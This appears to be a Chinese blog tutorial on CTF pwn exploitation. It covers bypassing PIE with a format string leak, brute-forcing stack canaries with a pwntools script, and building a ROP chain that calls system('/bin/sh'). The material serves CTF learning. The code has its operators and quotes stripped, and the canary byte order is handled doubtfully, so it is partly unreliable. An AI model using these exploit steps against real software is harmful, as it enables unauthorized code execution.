PIE与Canary攻防实战:从原理到漏洞利用的完整链条

张开发
2026/4/6 20:21:45 15 分钟阅读

分享文章

PIE与Canary攻防实战:从原理到漏洞利用的完整链条
1. PIE与Canary保护机制解析在CTF pwn题中PIE和Canary是两种常见的安全防护机制。PIE全称Position-Independent Executable中文译为地址无关可执行文件。它的核心作用是对代码段(.text)、数据段(.data)等固定地址进行随机化处理。每次程序加载时基地址都会发生变化这使得传统的ROP攻击难以直接定位gadget地址。Canary保护则是针对栈溢出攻击设计的防护措施。它会在函数调用时在栈帧中插入一个随机值称为canary值。当函数返回前系统会检查这个值是否被修改。如果发现canary值被篡改程序会立即终止运行防止攻击者通过栈溢出控制程序流程。这两种机制经常同时启用给漏洞利用带来双重挑战。PIE让代码地址变得不可预测Canary则阻止了直接的栈溢出攻击。要成功利用漏洞我们需要先绕过Canary保护再解决PIE带来的地址随机化问题。2. 格式化字符串漏洞利用实战格式化字符串漏洞是突破PIE保护的关键武器。当程序使用printf等函数时如果未正确指定格式字符串攻击者就能通过精心构造的输入读取或写入任意内存。一个典型的漏洞代码示例如下void vulnerable_function() { char buf[100]; read(0, buf, 100); printf(buf); // 漏洞点 }利用这个漏洞我们可以通过%p等格式符泄露栈上的数据。在PIE保护开启的情况下栈上往往会残留一些代码段的地址。通过计算这些地址与IDA中显示的偏移量就能推算出当前的PIE基址。实际操作中我常用以下步骤发送多个%p测试偏移寻找有价值的地址计算泄露地址与IDA中显示的偏移差值通过基址重定位所有函数和gadget地址3. Canary的绕过技巧Canary保护虽然有效但并非无懈可击。最常用的绕过方法是逐字节爆破。由于Canary值通常以\x00结尾这大大降低了爆破难度。具体操作流程如下触发程序崩溃观察Canary检测失败的报错信息从低位开始逐个字节尝试所有可能值(0x00-0xFF)通过程序是否崩溃来判断当前字节是否正确重复直到获取完整的Canary值这里有个实际案例的Python爆破代码from pwn import * def brute_force_canary(): canary b for i in range(7): # 通常Canary是8字节最后一位是\x00 for byte in range(256): p process(./vuln_program) p.send(bA*offset canary bytes([byte])) try: response p.recv(timeout1) if bstack smashing not in response: canary bytes([byte]) break except: continue finally: p.close() return canary b\x00 # 补上最后的\x004. 综合实战同时绕过PIE和Canary当面对同时开启PIE和Canary保护的题目时我们需要组合使用上述技术。下面通过一个典型场景说明完整攻击链首先利用格式化字符串漏洞泄露程序地址p.sendline(b%15$p) # 尝试不同偏移 leak int(p.recvline(), 16) pie_base leak - 0x1234 # 根据IDA计算偏移然后通过缓冲区溢出逐字节爆破Canarycanary b for i in range(7): for byte in range(256): payload bA*offset canary bytes([byte]) p.send(payload) if bstack smashing not in p.recv(): canary bytes([byte]) break canary b\x00最后构造ROP链获取shellpop_rdi pie_base 0x1337 # 从IDA获取gadget偏移 system_addr pie_base elf.sym[system] binsh_addr pie_base next(elf.search(b/bin/sh)) payload bA*offset canary bB*8 # 覆盖canary和rbp payload p64(pop_rdi) p64(binsh_addr) payload p64(system_addr)在实际CTF比赛中我遇到过不少这类综合题目。有次比赛题目需要先通过格式化字符串泄露地址然后爆破Canary最后还要结合堆漏洞完成利用。整个过程就像解连环套每个环节都必须精确无误。特别是在爆破Canary时网络延迟可能导致误判这时候就需要调整超时时间或者改用本地调试。

更多文章